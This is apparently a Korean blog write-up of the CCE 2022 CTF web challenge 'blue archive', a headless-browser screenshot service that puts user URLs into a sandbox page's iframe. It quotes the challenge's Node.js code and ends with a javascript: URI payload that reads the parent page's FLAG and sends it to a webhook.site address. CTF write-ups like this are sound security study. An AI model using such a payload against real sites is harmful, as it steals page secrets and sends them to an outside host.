본문 바로가기
CTF&War Game/CTF

[CCE 2022] blue archive Write Up

by Becoming a Hacker 2022. 9. 25.
반응형

문제 Docker

 

blue archive - web.zip

Dropbox를 통해 공유함

www.dropbox.com

 

해당 문제의 경우 시간 안에는 풀지는 못했지만, 이후 Docker File을 이용하여 Flag를 획득한 문제 입니다. 돌이켜보면, 충분히 풀 수 있었던 문제인데 조급하게 다가갔던 것 같습니다. ㅠㅠ

 

1. 해당 문제는 URI를 입력하면 headless Browser로 접속을 시도한 뒤, Rendering된 화면을 캡쳐 후 보여주는 서비스가 구현되어 있습니다.


2. 이때 사용자가 입력한 URI는 반드시 http 또는 https로 시작해야 합니다.

router.post('/archiveSave', async (req, res) => {
    const { url } = req.body;

    if (typeof url !== 'string' ||
        !(url.startsWith('http://') || url.startsWith('https://')))
        return res.status(400).render('index', { error : 'Invalid URL.' });

    try {
        await saveArchive(url);
        return res.status(200).render('index', { success : `Sucessfully saved archive for ${url}` });
    } catch (e) {
        console.log(e)
        return res.status(500).render('index', { error : 'Oops, an unknown error has occured.' });
    }
});

 

3. http로 시작하는 URI가 정상적으로 입력되었다면, 서버는 http://sandbox.bluearchive.kr:31337에 사용자가 입력한 URI를 url parameter로 포함한 GET 요청을 보내는데, url parameter는 iframe의 src 속성의 값으로 사용됩니다.

const sandbox_url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=`
const config = require('./config');

async function saveArchive(url) {
    const hash = crypto.createHmac('sha256', config.SECRET).update(url).digest('hex');
    const archive_dir = `${config.ARCHIVE_DIR}/${hash}`;
    if (!fs.existsSync(archive_dir))
        fs.mkdirSync(archive_dir);

    const timestamp = moment().format('YYYYMMDDHHmmssSSS');
    const archive_path = `${archive_dir}/${timestamp}.${config.ARCHIVE_EXT}`;
    const browser = await puppeteer.launch({
        executablePath: './chrome/chrome',
        ignoreDefaultArgs: true,
        args: [
            '--headless',
            '--diable-gpu',
            '--disable-dev-shm-usage',
            '--ignore-certificate-errors',
            '--hide-scrollbars',
            '--window-size=1280,720',
            "--js-flags=--noexpose_wasm,--jitless"
        ],
    });
    const page = await browser.newPage();
    await page.goto(sandbox_url + url, { timeout: 3000 });
    await new Promise(resolve => setTimeout(resolve, 3000));
    await page.screenshot({
        fullPage: true,
        path: archive_path,
    });
    await browser.close();
}

 

// sandbox index.js
const express = require('express')
const { encode } = require("html-entities");

const app = express()

app.get('/', function (req, res) {
    data = `<html>
<head><title>sandbox</title></head>
<body>
<script>
FLAG = "cce2022{this_is_not_real_flag}"
</script>
<iframe src="${encode(req.query.url)}" style="width: 100%; height: 100%; border: 0"></iframe>
</body>
</html>`
    res.setHeader("Content-Type","text/html").send(data);
})

app.listen(process.env.PORT);

 

4. Payload를 아래와 같이 구성하여 webhook.site에 flag를 전송하도록 함으로써 Flag를 획득할 수 있었습니다.

Payload 흐름

http://sandbox.bluearchive.kr:31337/ -> http://sandbox.bluearchive.kr:3133 ->  https://webhook.site

 

전체 Paylaod

http://sandbox.bluearchive.kr:31337/?url=javascript:location.href=%22https://webhook.site/79a5343a-de37-4281-9771-1909c789b7f5?flag=%22.concat(parent.FLAG);

Flag 획득

 

'CTF&War Game > CTF' 카테고리의 다른 글

WITHCON 2022 Buffalo [Steal] Write Up  (0) 2022.10.15
[CCE 2022] BabyWeb Write Up  (0) 2022.09.24
[CCE 2022] reborn of php Write Up  (0) 2022.09.24

댓글